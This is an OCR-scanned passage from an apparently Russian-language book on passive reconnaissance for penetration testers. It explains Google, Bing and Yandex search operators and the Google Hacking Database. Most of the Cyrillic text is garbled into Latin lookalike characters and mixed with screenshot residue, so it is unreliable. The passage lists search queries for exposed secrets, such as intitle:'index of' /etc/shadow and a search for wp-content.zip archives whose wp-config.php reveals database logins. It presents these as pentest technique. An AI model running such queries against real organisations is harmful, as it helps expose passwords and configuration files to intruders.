Puc. 3.5. PesynbTaT nomcka no 3anpocy allintitle:vnc login

Omneparop allinurl: 103BoJIsIeT UCKATh HY’KHbIE KJIIOUEBbIE CJIOBA UCKJIOUNTEIBHO
B url-anpecax crpanuir. [IpencraBbre, YTO BBl XOTUTE HAWTH HECKOJIBLKO KHUT JIJIsT
GoJree TIyGOKOTO M3yUeHHs TIporpaMMHIpoBanst Ha python, u cosnaere samnpoc Tuma
allinurl:python book. Google BbiacT Bam umeHHO Te crpanuiibl, B URL xkotopbie
comepskarcst 06a 9TUX KITOUEBBIX CJIOBA, — OTKPOEM MEPBYIO JKe CCHIIKY /IS TPO-
Bepku (puc. 3.6).
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@ Keal Bython

Make the Leap From Beginner to Intermediate in
Python...

Python Basics:
A Practical Introduction to
Python 3

Your Complete Python Curricufum—
With Exercises, Interactive Quizzes, and Sample
Projects

There's an overwhelming amount of _
infarmation abaut Pythen on the internet... PYTHON

But for many beginners (wha are studying on BASICS
their own), the lack of structure for what you f

should learn and in what arder is missing.

If you're wondering:

“What should | learn about

Puc. 3.6. URL nepBoli cTpaHuLbl, HaaeHHol no 3anpocy allinurl:python book

ITouck daitnos. Yacro 1ist c6opa Gosiee 10NHOI MHbOPMaLUU HEOOXOAUMO He TOJIb-
KO [TPOAHAIU3UPOBAThH JIaHHBIE C IOCTYITHBIX CTPAHUI] caiiTa OPraHu3aIiy, HO TaKXKe
MOCMOTPETD, YTO COLEPKAT B cebe obtienocTymHbie daitibl. Bo BpeMst ogHoro us
TeCTOB Ha IPOHUKHOBEHNE HaM YAAJI0Ch HAalTH KoH(puUTypammio ¢aiiepBosia mpes-
MPUATHS, @ B METAJIAHHBIX HEKOTOPBIX TEKCTOBBIX (hailIOB CO/EPKAINCH UMEHA
TI0JTb30BaTe e, ICTIOTb3yeMble /7SI IOCTYTIA K Pa3TUIHBIM crcTeMaM. JlJist orncka 1mo
(aiiiam cylecTByeT clielraibHbiil orepatop filetype:. Hamnpumep, 4To6bl HaliTu
BCe I0KyMeHTBI B (hopmare doc, onybinKoBaHHble BpUTaAHCKUMU aBUATHHUSIMU,
COCTaBUM CJIEIYIONINH 3arpoc: site:britishairways.com filetype:doc (puc. 3.7).

ITocste 6eryoro 03HAKOMIIEHS ¢ TIOMYIEHHBIME (hafllaMi MBI CMOTJTH 0OHAPY/KUTH
MaHHBIE HECKOJBKUX MOIB30BATEIAX U MH(MOPMAIHIO O TPOTPAMMHOM 0OECTIEUEHHH,
KOTOPOE, BO3MOKHO, UCIIOJIb3YeTCs Ha ITPETPUATHN.

Tereps, KOT/IA y Bac €CTh MpeICTaBIeHre 0 6a30BbIX oreparopax moncka B Google, Bbr
MOJKETE CAMOCTOATETBHO TMIPUAYMBIBATDH 3aITPOCHI JIST TIOVCKA HeO6XOIII/IMbIX JTaHHBIX
WJTH YSI3BUMBIX YacTell MHPOPMAIMOHHO CUCTEMBI 11eJIeBOTro mpeAnpusaTus. Cpasy
OTOBOPUMCS, ATO JIOCTATOYHO TBOPUYECKHI IIPOIIECC U BaM IIPUIETCS MTOTPYAUTHCS,
4TOOBI HAOUTD PYKY.

JIJtst yIIpOTIeH s TPOIecca CO3MaHmst TaKuX 3ampocoB y Google ecTdb crermaabHbrii
WHCTPYMEHT, C KOTOPBIM BaM CTOUT O3HAKOMUTHCS. OJTHAKO YUTHUTE, UTO U Y HETO €CTh
OrpaHUYEeHUS U MHOT/IA JIyYIlle COCTABJIATD 3alIPOCH CaMOCTOATEIbHO. KoHCOob /1715
pacuImpeHHOTro oKCcKa Mokazana Ha puc. 3.8.
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Kali Linwe @ Kali T

Google

Actions  Edit View Help

THE MODE}

Lins

Google

HafTi cpass=

LN LI

oaxsnare s4np

Puc. 3.8. KoHconb Google ansg pacwumpeHHoro nomcka google.com/advanced_search
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Google ans B3noma

Google Hacking Databse (puc. 3.9) 6bura cozmamna [Isxomnn Jlonrom (Johnny Long)
¥ COJEPKUT MHOKECTBO PACHIMPEHHBIX 3apocoB st morcka B Google. C ux mo-
MOII[BIO BbI MOKETE OOHAPYKUTD:

® Bel-cepBepsl, Co/ePKAIIe YSI3BUMOCTH;

e (bailuibl, coeprKaliiie IMeHa M0JIb30BaTeNel U ITapoJIH;

® OTKPBITBIE JIJIsT BCEOOIIETO OCTYIIA IUPEKTOPUH, TOTEHIIMAIBHO COEPIKAIIIE
uHGbOPMAIIHIO, KOTOPAs TIOMOKET BaM IIPOHUKHYTH B I[€JIEBYIO CUCTEMY, HATIPIME]D
KOH(UTYpaIOHHbIE (DAl BEO-TTPHIIOKEHUIT;

e KoH(puryparroHHbie (ailibl HhallepBoJIOB, JKyPHAJIBI CHCTEM, Oasbl JaHHBIX;
® T[IaHeJu yIPaBJeHUs PAa3JINIHBIMU BCTPAUBAEMBIMU CHCTEMAMM;

® BHYTPEHHUE IMOPTAJIbl OPTaHU3AINI;

MHOTO€ JIpyTroe.

s —EXPLOIT
DATABASE

Google Hacking Database

shw| - | Quick Search

»E : :1 » Dork Category Author
20230313 intext"index of” smb.conf Files Containing Juicy Info Konaté Qlivier
20230312 inurbrobats Rletypete Fibes Containing Juicy Info Konaté Dlivier
2023-03-09  Re: New Dark Submission for Google Hacking Database I! Files Containing Juicy Info |=hwear Kumar
20230309  intextindex of” “wp-contenl.zip” - Files Containing Juicy Info Files Containing Juicy Info Sharique Raza
2023-03-08  inurl device.rsp® -in Various Online Devices Sanu Jose M
20230307  intitle:"index: of" nurl-admin/login Files Containing Juicy Info AJAY JOSEPH
2023-03-07  intitle:"index of” fete/shadow File= Containing Juicy Info Huszain Salesm
20230307 Inquiry aboul Search Resulls for intitleindex.ol” *53 Files Containing Juicy Info Ritesh Sahu

Pages Containing Login

P am S5 rtal S
20230307  allintithe:"Cyberoam SSL VPN Portal Portals GirlsLearmCyber
2023.02-28  allintite: ProjectDax Login® Filez Containing Juicy Info Girlzl earnCyber
20730228 sitecernail..* intithe: login’ hgst Doslsiung Lagin Rezs Abasi
Portals
Pages Containing Logi
0230277 allintitle” OMERG, web - Login® P L Girlsl eamCyber

Portals

Pages Containing Login

-02:27 _ allintitfe"Untanale i Login® GirlsLeamCyber

Puc. 3.9. MaBHas ctpaHmua Google Hacking Database
(exploit-db.com/google-hacking-database)
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Ber MoskeTe cpasy 3amyCTHTh MTOWCK, UCTIONb3YsI CO3/[aHHBIE IPYTUMHU TOJTh30BaTe-
JISIMM 3aTIPOCHI, UM TIPU TIOMOIIY TIOJYyYeHHBIX PaHee 3HAHUI MOAUMUIINPOBATh
UX TaKUM 06Pa3oM, 4TOOBI OCYIIECTBIIATH MOMCK UMEHHO 110 PECypcaM IeJIeBoii
nH(GOPMAIIMOHHON CUCTEMBI.

Jlnst mpuMepa pasbepeM HEeCKOTHKO 3apoCcOB. B mepBoM cirydae MBI TTOTBITAEMCST
HAIiTH CePBEPBI, T7Ie OTCYTCTBYET 3aIMUTA OCTYIIA K AUPEKTOPIISIM M HAXOIUTCS (DAt
wp-content.zip. [TorckoBoit 3ampoc, B3sITHIN € BINIEYKA3aHHOTO CANTa, BBITJISAUT
caexylomum o6pasoM: intext: "index of" "wp-content.zip". [lepBas yacThb 3ampo-
ca BbIIaeT HaM cepBepbl (puc. 3.10), y KOTOPBIX eCTh He 3alUIeHHbIE IS JOCTYTIa
aupeKTopu ¢ (hailsraMmu, 0OBIUHO TIepest 0OTOOPAKEHUEM CITUCKA IOCTYIHBIX (hailsioB
(Takme CTpaHUIIBI BCET/IA COJEP:KAT 3aT0JIOBOK Index of).

@ intext:mindex of” - Mowex % = Index of fitp

s/ feprch. e/t

KaliLinux & KaliTools ® KaliDocs N{ KaliForums 2 Kall NetHunter = Explolt-DE = Google Hacking DB J| OffSec

Index of /ftp

[coj] Name Last modified Size Description

[PARENTDIR] Parent Directory

[DIR] calendar/ 2023-01-02 08:14
[DIR] center/ 2023-03-08 10:14
[DIR] datas 2019-05-07 13:03
[DIR] mall/ 2016-12-02 15:28
[DIR] obs! 2023-01-08 03:40
[DIR] product/ 2022-05-27 13:19
[DIR] software! 2016-05-17 14:03
[DIR] station/ 2022-01-27 05:57

Apache/2.4.29 (Ubuntu) Server at epncb.eu Port 443

Puc. 3.10. MpumMep caiiTa, NO3BONASAIOLLErO NOAYYMTb AOCTYN K dharinam
no npotokony https

O6paruTe BHMMaHHUE: €CJIU BB BBeJleTe 3ampoc intext:"index of", To Google
BBIIACT BaM CIIMCOK He TOJIbKO C caliTaMM ¢ He3alMIEeHHbIMU JUPEKTOPUSAMHU, HO
U ¢ OOBIYHBIME cafiTaMH, Ha CTPAHUIIAX KOTOPBIX BCTPEYAETCS TEKCT index of, a nx
JIOCTATOYHO MHOTO, U ITOMCK HYKHOTO HaM haiiia 3aliMeT oueHb MHOTO BpeMEeHHU.
To ke KacaeTcs M BTOPOI 4acTH 3alipoca — cama 110 ceOe JiJist Halllel 1eJi OHa Ipak-
THYeCKH OEeCTIONe3Ha.

Coenunnm Terepsb 06e yacTu 3ampoca. 1 aro mbl mosydaem? OTpoMHOE MHOKE-
CTBO CalTOB, C KOTOPBIX MOKHO CKayaTb MHTepecyIoluii Hac daitn wp-content.zip



MaccuBHbI C60p AaHHbIX 43

(puc. 3.11). WordPress siBJisieTcst OIHOIT 13 CaMbIX TIOMYJIIPHBIX CHCTEM YIIPaBJICHUST
cailTaMiu B CETH MHTEPHET, HA €€ OCHOBE CTPOSITCS KAK OIHOCTPAHUYHBIE CANUTBI, TAK
U MHTEPHET-Mara3uHbl. B ¢BOIO 04epejib, apXuB wWp-content.zip cogepkut daiiibi,
HeoOXOIUMbIe JIJIsT ee paboThI, BKIoYast wp-config.php. OTKpbIB aTOT haiin B i060M
TEKCTOBOM PEIAKTOPE, MOKHO TIOJYUUTh JIOTHH U MapoJib OT 6asbl JaHHBIX, U 9TO
JIVITITh OJIMH U3 TIPUMEPOB.

Index of fwp

U & spektartermo.com.mkiwg

KaliLinux § KaliTools ® KaliDocs N{ KaliForums 2 Kali NetHunter = Explolt-DE = Google Hacking DB J| OffSec

Index of /wp

Farent Directory -
wp-adminzip  2020-09-28 11:46 266M
wp-content.zip 2020-09-28 12:02 814M
wp-includes.zip 2020-09-28 11:48 7.8M

Puc. 3.11. Pe3ynbTaTt noucka daina wp-content.zip

WHuTepec MoKeT BbI3BATh ¥ (hails robots.txt. ToT aiin comepiut B cebe UH-
CTPYKIIUU JIJIS TOUCKOBBIX POGOTOB, U, 4TO CIEIUATUCTOB 10 UH(OPMAIUOHHOI
6€e30MacHOCTH UHTEPECYeT OOJIbIIIE BCETO, YaCTh ¢ YKa3aHUSIMU, KAKUe AUPEKTOPUN
HEOOXOIMMO CKPBITh OT WHAEKCAIIUH TOUCKOBBIMU CHCTEMaMU, — 3TH CTPOKU BCET-
Jla HAUMHAIOTCST ¢ KJfoueBoro cyioBa Disallow (puc. 3.12). /lxs vac aTo sBisieTcs
MPSAMbBIM YKa3aTeJeM Ha [eJib: YT0 MOJKET OBITh HHTEPECHEE, 4eM MOCMOTPETh Ha TO,
YTO IBITAIOTCA CKPBITL? [l moncka Takux (haiijioB MOKHO MCIIOJIb30BATD 3aIIPOC
"robots.txt" "Disallow" filetype:txt.

Ente ofHnM MHTEpPECHBIM TTPUMEPOM MOJKET CTaTh TMoncK (aiisa shadow 1o 3anpocy
intitle:"index of" /etc/shadow. Maiin shadow mcmob3yeTcst B OMEPAITMOHHbBIX
cucremax Linux u Unix st xpanenust 3ampOBaHHbBIX TAPOJIEH T10JIb30BaTENEH.
[Taposin xpausTcst He B OTKPBITOM BHjie B (haiijie /etc/passwd, a B daiisie /etc/shadow.
IT0 TOBBIIITAET HE30MACHOCTD CUCTEMBI, TOCKOJIBKY TOJILKO aJIMUHUCTPATOP CUCTEMBI
MMeeT OCTYT K TocyeiHeMy daiiry.

Kpowme toro, daiin shadow cozmep:xut nadopmainio o BpeMeH! TI0CJIeHETO n3Me-
HEHUSI TIAPOJIsl U OTPAHUYEHUIX HA JJIMHY TIAPOJIsSt M YACTOTY €ro CMeHbL. JTO T10-
3BOJISIET AIMUHUCTPATOPY CHCTEMBI HACTPOUTD ITPaBUJIa GE30MACHOCTH JIJIST TAPOJIEi
110JIb30BaTeJIei.
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yale zdufrobals. xl = 4+ - u X
« 2> C @ O B httpsilivwwyale.edulrobots. txt B |150% 1Y @ & =
"t Kali Linx 89 Kali Tools [ Rali Docs ', Kali Forums & Kali NetHunter & Exploit-DB % Google Hacking DB | OffSec »

S o

Disallow: /scripts/
Disallow: /themes/

# Files

Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: fupdate.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php

# Paths (clean URLs)
Disallow: /admin/

Disallow: /comment/reply/ b
Disallow: /filter/tips/
Disallow: /node/fadd/
Disallow: /search/

Disallow: fuser/register/
Disallow: /user/password/
Disallow: /user/login/

Puc. 3.12. CoaepxaHue daiina robots.txt, HaaeHHOro
yepes NouckoByto cuctemy Google

MonCKOBbIE CUCTEMBI, UCTONb3YtoWwmMe Google

Kax yske 661710 ckazatno, Google 3aHUMaeTcst He TOJIBKO MPE0CTaBIEHIEM YCIYT T10-
HCKa, HO M aKTUBHO cobupaeT MHMOPMAIIo 00 MHTepecax MoJIb30BaTe e, HICTOPHUIO
MMOMCKOBBIX 3aIPOCOB U IMOCeIaeMbIX caiiToB. C OJHOW CTOPOHBI, 3TO MO3BOJISIET
c/leJIaTh pe3yJIbTaThl MOKCKa Oojiee pesieBaHTHBIMU, C IPYTOA — CO3/IaeT OIaCHOCTb
BO3HUKHOBeHUS NH(POPMAIIMOHHOTO My3bIPs (CUTYallusl, TPU KOTOPOI YeTOBEK OKPY-
JKEH TOJIBKO TOl nHpopMalineii, KoTopast COOTBETCTBYET €0 IIeHHOCTSIM U B3TJISIIaM,
HoAPOGHO paccMoTpeHa B pasjese « [ IpuHIuibl paGoThl MOUCKOBBIX crcTeM» ). st
6OPbOBI ¢ DTUM SBJIEHHEM PEKOMEHIYETCS MCII0JIb30BaTh IIOMCKOBbIE CUCTEMBI,
KOTOPbIE II03BOJISIIOT B M3BECTHOI cTerneHu usbexarh 91oi nmpodaembl. OHU uc-
nosib3yioT 6asy ganubix Google, ogHako Baim 3anpockl GyyT aHOHUMU3UPOBAHBI,
YTO MO3BOJIUT U30EKATh OTCIEKUBAHIS M CO3/IAHUSI TTY3bIPs, XOTSI PEJIEBAHTHOCTD
PE3YJIBTATOB TIPU 9TO MOKET CTPAIAT.

BOT HECKOJIBKO TAKUX IIOUCKOBBIX CUCTEM:
e Mozbot.com;
e Lukol.com;

e Startpage.com.
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Bing

ITO elle OjIHa TOTYJISIPHAs TIONCKOBAsT CUCTEMa, IOCTYITHAS TI0 aapecy bing.com.
CaonMm nosienreM oHa obs13ana kopropaimu Microsoft, kotopast paspabaTbiBaet
U CaMyIo TIOIYJIAPHYIO OIePAllMOHHYIO CUCTEMY /IS JJOMAIIHUX T10JIb30BaTeei
Windows. VIMeHHO IJI0THASI MHTErpaliiuy OlepalioHHol cucteMbl 1 Opaysepa Edge
C TOMCKOBOM MamunHoi Bing 1 mpuHecsu ocseiHeil HeKOTOPYIO MOIYJISIpPHOCTb. He
OyzeM moJIPOoOHO OCTaHABIUBATHCS Ha paboTe ¢ Bing, Tak Kak MPUHIUIIBI TIOMCKA
B Hell ocraiorcest TeMu ke, uTo 1 B Google, mpuBeseM JIUIIb OCHOBHbBIE OTIEPATOPHI
JUIS1 PACIIPEHHOIo [IOMCKA:

® +IIpUMEHAETCA /14 BbIBOJA TOJbKO TEX CTPAHUIL, KOTOPbIE COAEPKAT YKasaHHbIE
IIOCJIe oIlepaTopa CJI0Ba, HAIIPUMED virus +covid,

e " " UCTOJB3YeTCs I IONCKA TOYHOTO COBIA/IEHNS C YKa3aHHON B KaBBIYKAX
(bpasoii, HarpuMep "KoMrblTepHbIi BUpYC";

e filetype mosBoJsier ykasath tuil (daiiina (doc, pdf, ppt u . 1.). Tlouck xkHuUTH,
nocsiiernoi kali linux, MoskeT GbITH OCYIIIECTBIIEH TIPH TOMOIIH 3arpoca kali
filetype:pdf;

® NOT MM - MCKJIIOYAeT U3 IIOMCKa CTPAHUIIbI, COZEPIKAIILNe CJI0BO, KOTOPOE HaX0-
JIUTCS II0CJIe ollepaTopa, Harpumep virus NOT covid uin virus -covid,

® AND WJIM & MCTIOJIb3YETCS JIJIST CBSI3BIBAHUSI, HATTPUMED, €CJIU MBI XOTUM YTOUHUTD
Halll 3a1IPOC TI0 MOBOAY Torcka KHuru 1o kali linux, go6asum atot omeparop
7 moay4ynM kali AND book filetype:pdf;

® ORJIOrnYeckoe «uin». [IpeanosoKuM, 4To Mbl XOTHM HaiiTh 00ydaroliye MaTepu-
asibl 110 Docker — i1 yTouHeHMs 3a1ipoca BOCIIOIb3yeMcs KOHCTpYKIueil docker
book OR cource OR training;

® () omepatop rpynnupoBku. I1o3BossgeT HaXOAUTh CTPAHUILBI, COepKAIlle BCe
yKazaHHBIE CJIOBA B JTIOOOM TOPS/IKE, W UCKITIOUUTH UX U3 TIOUCKA B CJAyYae
HCIIOJIb30BaHUs ¢ orepaTopomM NOT. Eciii MbI XOTUM HalTH CIOCOO IOJIyYeHIs
npas afMUHUCTPaTopa B iPhone, Tora Hatll TOUCKOBBII 3aITPOC MOKET BBITISIIETH
caeytonum o6pasoM: iphone (root jailbreak get).

Heo6xoauMo 3aMeTUTh, 4TO, KaK CKazaHO Ha O(GUIMaIbHOM caiiTe KOMIaHUK
Microsoft, He Bce niepeunciennbie GyHKIMNU MOTYT paboTaTh Be3/ie, eCTh OTpaHnde-
HUsE 0 pernonaM. Kpome TOro, mouck 0CyIecTBAAETCS TOJIKO MO MEPBBIM JIeCATH
IapaMeTpam, a Bce 0CTaJbHOe UTHOpUpyeTcst. MoskeT, uMeHHO 110aToMy ecTh Google
Hacking Database, Ho wet Bing Hacking Database?

BosHukaeT pe3oHHbIIT BOIIPOC: eciu IoKCKoBas cucrteMa Google nmpesocxoaut cBoux
KOHKYPEHTOB, 3a4eM HaM TOT/la paccMaTpuBath Apyrue? OTBET 10CTaTOYHO MIPOCT:
BO-IIEPBbIX, HU 0/(Ha (6a3a JaHHbIX He ABJISETC M0JHOM, a Bing ucnosbsyer cobpaH-
HbI€ CaMOCTOATEJIbHO JaHHbIEC, 1 OHU MOTYT OTJIMYAaTbCA OT TE€X, 9TO €CTb y Google.
BO-BTOprXy HCIIOJIb3OBaHNE HECKOJIbKHUX ITOMCKOBBIX CUCTEM MOJKET CHU3UTD BEPOAT-
HOCTb TIOSTBJIEHUS] TH(OPMAIMOHHOTO Ty3bIpst. B-TpeThuXx, y Bing ecth oneparopsl,
KOTOpbIe 0TCYTCTBYIOT B Google. 11 HakoHell, Ba)KHO paHKUPOBAHUE — Y Pa3HbIX
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ITOMCKOBBIX CUCTEM Pa3Hble aJITOPUTMBI Pa3MeIleHNs CTPAHUIL B pe3yJbTaTax I10-
HCKa, TO9TOMY TO, 4T B Bing siekut Ha oBepxHoctH, B Google MokeT HaXOAUThCsT
B KOHIIE CITCKa BbIIAYN.

Ectpb 1B oCTAaTOYHO MHTEPECHBIX PECYPCA, KOTOPbIE MO3BOJISIIOT CPABHUBATH T10-
uckosble Bbigaun Bing u Google. Ilepsblii 13 HUX JOBOJBHO IPOCT — bvs.org, a BOT
advange.com TI03BOJISIET CO3/1aBATh M CPABHUBATH BbIIAUM JIa’Ke PACITUPEHHBIX 3a-
IIPOCOB, CUHTAKCIIC KOTOPBIX He TIOJTHOCTBIO COBITA/IaeT.

Coscem HepaBHO Kopropaiust Microsoft o6bsiBuia 06 uHTErpanyy CBOEH mouc-
KoBOI cucremnl Bing ¢ uckyccrBennbim untesiektom ChatGTP (Chat Generative
Pre-trained Transformer). HecMoTpst Ha TO 4T0 aBTOpP caM ObLI B BOCTOPIe OT 9TOIO
POJYKTa, BCE JKe MPU3bIBai0 Bac ObITh MAKCUMAJIbHO OCTOPOKHBIMU M COXPaHSITh
KPUTUYECKOE MBINIJIEHHE TTPU €T0 UCTIOTb30BAHMH.

ChatGPT kak s13bIKOBast MOJIe]Ib, 00yU€HHAsT Ha OTPOMHOM KOJHUYECTBE TEKCTOBBIX
JTAHHBIX, MOJKET MCIIOIb30BATHCST [T BBITTOJTHEHUST PA3INIHDIX 33/1a4, B TOM YHCJIE JIJIsT
00pabOTKK €CTECTBEHHOrO sI3bIKa 1 noucka uHdopmai. OHAKO MCIOIb30BAHNE
ChatGPT B kauecTBe IIOMCKOBOI CHCTEMbI TOPOKIAET OIPE/EJEHHbIE TPOOIEMBbL:

e Orpanuyennocts obaactu noucka. ChatGPT paGoraer Ha ocHOBe aHaJIM3a
U MOHUMaHUS TEKCTOBBIX JAHHBIX. JTO 3aTPYAHSET MOMCK WHHOOPMAITIH 3a ce
peiesiaMu, HallpuMep, BU3YalbHbIX 3JIEMEHTOB UJIH JIAHHBIX B 6a3aX aHHBIX;

e Huskag Tounoctb orBeroB. Xorss ChatGPT 10B0oJIbHO XOPOILO IOHUMAET ecTe-
CTBEHHBIN S3bIK, TOYHOCTH MPEJOCTABISEMbIX UM OTBETOB MOXKET 3aBUCETH OT
KadyecTBa BOIPOCOB, 3aJJaHHBIX MMOJTb30BaTeieM. Eciu mocTaBiieHHbIN BOITPOC
(hbopMyTUPYETCst HEYETKO MJIH UMEET HECKOJIBKO BO3MOKHBIX 0TBeTOB, ChatGPT
c110coOeH JJaTh HETOUHBINA OTBET MJIM OTBET, KOTOPbI HEe OTHOCUTCS K TOMY, 4TO
10JIb30BaTEIb UCKAI;

e Henocrarounas o6yuenrocts. ChatGPT MoskeT He MMETb 0CTaTOYHbBIX 3HAHUI
B OIIPE/IEJIEHHON 061acTH, U 9TO CHUXKAET ero aP(OEKTUBHOCTD B KA4ECTBE 110-
HCKOBOM CUCTEMBL. ITO OCOOEHHO BayKHO IIPU MIOKCKE B CHIEIUATN3UPOBAHHBIX
00J1acTSX 3HAHMS, TAKMX KaK HayKa WK MeIUIIMHA;

e OrpannyennocTsb B o6paborke 3anpocos. ChatGPT orpanuyen B KojndyecTBe
3aIPOCOB, KOTOPbIE OH MOKET 00paboTaTh 3a OMpe/eeHHbIH TePUO/ BPEMEHH.
Ecnu MHOTO Jiojieil ogHoBpeMeHHo ucob3yioT ChatGPT kak mouckoByto
CUCTEMY, TPOU3BOIUTEIBHOCTD CHUKAETCS, W MTOJTH30BATEN MOTYT TIOJyYaTh
OTBETBHI C 3aJICP>KKO.

Takxum o6pasoM, ucnonabsopanne ChatGPT B kauecTBe IOUCKOBON CUCTEMBI MOKET
GBITD TOJIE3HBIM, OJIHAKO CJIEIYET YUUTHIBATE, UTO M3-3a OMPEICTECHHBIX OrPAHUYEHHIT
OH He Bcerjia MOKeT ObITh 3(h(heKTUBHBIM B PEIIEHIN BCEX 3a/1a4 TIOUCKa HH(DOPMAITUHL.

Yandex

Sunexc (Yandex) — ato mouckoBast cucrema, cosfantas B 1997 roxy ogHOMMEHHOI
poccuiickoit kommnanueil. OHa SABJSETCS OHON U3 CAaMBIX TTOIYJISIPHBIX TTOMCKOBBIX
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cucrem B Poccun u crpamax 6uiBiirero Coserckoro Cotoza 1 3aHUMaeT BTOPOe MECTO
o nomyJisspaoctu nocie Google.

Kak u Apyrue ImoncKOBbIE€ CUCTEMDBI, HHI[GKC IIO3BOJIAET I10J1b30BaTEJIAM UCKATh NH-
d)OpMa]_H/IIO B MHTEPHETE 110 KJIIOYEBBIM CJIOBaAM. O[[HI/IM 13 BAKHBIX TPEUMYTIIECCTB
HHHGKC& SIBJISIETCA €T0 JIOKAJIM30BAHHOCTD U alallTallvd K PYCCKOA3bIYHOMY PDBIHKY.
ITa II0MCKOBasd CUCTEMa CII0COOHa O6pa6aTbIBaTb CJIOKHBIE 3alIpOChl Ha €CTECTBEH-
HOM 3bIKE, a TaKKE€ YUUTbIBACT TaKN€ JIOKAJIbHbIEC (baKTOpr, KaK reorpa(bw{e(:Koe
IIOJIOJKEeHM e I10JIb30BaTeJIA.

KpOMe TOTO, Anmexc akTUBHO Pa3BUBACT TEXHOJOTUN UCKYCCTBEHHOTO MHTEJIJICKTA
n MalllMHHOTO O6y‘-IeHI/I?I. ITO TO3BOJISIET ITONCKOBOI CUCTEME aHaJIM3npoBaTh 3a-
ITpOChI I0JIb30BaTesIel 1 npeaJjiaratb nauboJee Ppes€BaHTHBIC PE3YJIbTAThI, a TaAKKE
yJjaydiiaTb Ka4€CTBO CBOUX CEPBUCOB.

Kak u B IpyrUx MOMCKOBBIX CHCTEMAX, B SIHEKCe ecTh CBOU ortepaTopsl: lang, ckob-
ku, Boolean n zp. /lasee mo3HAKOMUMCS € 9TUMHU ONEPaTOPaMK U MPUMEPAMK UX
HCIIO/Ib30BAHMSI.

OmnepaTop + paboTaeT 0AMHAKOBO BO BCEX IIOMCKOBBIX crcTteMax. OnepaTop KCIo/Ib-
3yetcst JI7ist 0003HAUEHUST CIIE/LYIOTIET0 32 HUM KJIIOUEBOTO CJI0BA KaK 00s13aTeIbHOTO,
TO €CTh TAaKOTO, KOTOPOE CTPAHUITBI HETTPEMEeHHO JIOJIKHBI cofiep:kaTh. [Ipumep 3a-
mpoca: osint + tools.

[l ucKIIoYeHnd KII04eBOro CI0Ba U3 MOMCKA UCIIOIb3YETCS OTIePaToOP ~~, KOTOPBIN
IIPUMEHAETC, €CJAU Mbl XOTUM ITOJYUYUTDH CTPAHUIIBI, HE COZepKalllie YKAa3aHHOTO
CJIOBa, KaK B CJIy4ae KynuTb TenedpoH B MOCKBe ~~ iphone.

B kauectse oriepaTopa HE CIIONb3YyeTCs U €IMHUYHAs TUJIbJA ~. B otsiume ot Tipe-
ABIAYIIETO IMPpUMeEPa, B KOTOPOM IMOMCKOBasA CUCTEMa HE BbIZTA€T CTPAHUIIBI C KJII04Ye-
BbIM CJIOBOM «iphone», IIpU UCITIOJIb30BaHUU €/IMHUYHON TUJIb/IbI IIOUCKOBAs CUCTEMA
MOJKET BEPHYTDH CTPAHUIIBI, COAECPIKAIINE YKA3aHHOE CJOBO, O/JTHAKO UCKJJIIOYUT U3
PE3YyabTATOB MMOUCKA T€ CTPAHUI[DI, HA KOTOPBIX KOHCTPYKIUA «KYIUTH Te]qu)OH
B MOCKBE» U CJIOBO <<iphOI16>> 6yI[YT BCTpeYaTbCA B OAHOM ITPEAJIOKEHNU.

Orniepatop && UCHOJB3YETCS, €CIM HYKHO TTOJYYUTh CTPAHUIIBI, HA KOTOPBIX BCTPe-
JqaloTCst 06a YKa3aHHbBIX CJI0BA, HATIPUMED: npumep && xss. B ¢Bo ouepens omepa-
TOP & YKa3bIBaeT Ha TO, YTO 00a KJFOUEBBIX CJIOBA JOJIKHBI BCTPEYATHCS B OJHOM
TIpeITIOsKEeHIH.

Ouenb UHTEPECHDIM /IJII IOCTPOEHUS 3AIIPOCOB SIBJISIETCS ONEPATOP /, KOTOPBIN
umeet ananoru B Google (AROUND) u Bing (Near). C ero moMOIIbIO Bl MOKET yKa-
3aTh, HA KAKOM PACCTOSTHUM JIPYT OT AAPYTa OJIKHBI HAXOAUTHCS KIIOUEBLIE CIT0BA
Ha cTpaHuile. Tak, maltego /2 npumep yKa3bIBaeT Ha TO, YTO KJOUEBOE CJIOBO
«TIpUMEP» JOJIKHO HAXOAUTHCS HA PACCTOSTHUH JBYX CJIOB OT KJIIOUEBOTO CIOBA
«maltego».

I — OTIIepaTop TOUYHOTO COBIIQ/ICHUA. ITonckoBbie crucTeMbI MOTYT 1O/IyMbBIBATh CJI0Ba
3a BaC, HAIIpUMED IPU TTOUCKE 110 KJIIOYEBOMY CJIOBY «port» B pe3dyabTaTax MOABUT-
Cs TaKiKe «portainer», HO TIpU 3alpoce C UCII0JIb30BaAaHNEM YKAa3aHHOTO OIiepaTopa
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(!port) BbI MOJIyYNTE TOJTBKO T€ CTPAHUIIBI, HA KOTOPBIX BCTPEYAETCS NCKIIOUNTEIb-
HO MCKOMOE CJIOBO «pPOTt».

[l rpynimipoBky, kak u B Google, ncmonbaytorcest kpyrabie ckobku (). ITompoGyem
006BeIMHUTH HECKOJIBKO PACCMOTPEHHBIX ONEPATOPOB JIJIst CO3/IaHKs TIOUCKOBOTO
3ampoca: maltego && (+example | !usage). BBomuTcst HOBBII, ellle HE PACCMOTPEH-
HBII OITepaTop, HO BbI y)Ke HaBEPHSIKA JIOTa/Ia/TUCh O €T0 Ha3HAYeHUH — JIOTHYECKOe
NJIN. Ecyii Mbl 3aX0TUM HaliTi 00y uatonuii kypc 1o python 8 Mockse win CaHKT-
ITerepGypre, TO, BEPOSITHO, HATIUAIIIEM 3a1IPOC ob6ydeHne python mocksa | caHkT-
netepbypr.

* — oIeparop, BCTPeyalonuiicd B IPyruX MOUCKOBBIX CUCTEMAaX € aHAJOTUYHBIM
yHOTpe6JIeHI/IeM. On 3amenser mo0ble KIIOYEBbIE CJI0BA; HAIIPUMED, €CJAU MbI He
IIOMHIM TOYHOE OIIpeIeIeHNe, a 3HAEM JIIIb HEKOTOPBIE CJI0Ba M3 HETO, TO HAITUIIIEM
COOTBETCTBYIOIIUH 3a1pOC: pi-agpec 3To * B ceTu.

title: mo3BoJsieT IIPOBECTH IMOUCK KJIIOYEBOTO CJIOBA B 3aroJIOBKE CTPpaHUIIbI.
url: 1o3BoJiger IIPOBECTU ITOUCK KJIIOUYEBOI'O CJI0OBa B url CTPAaHUIIBI.

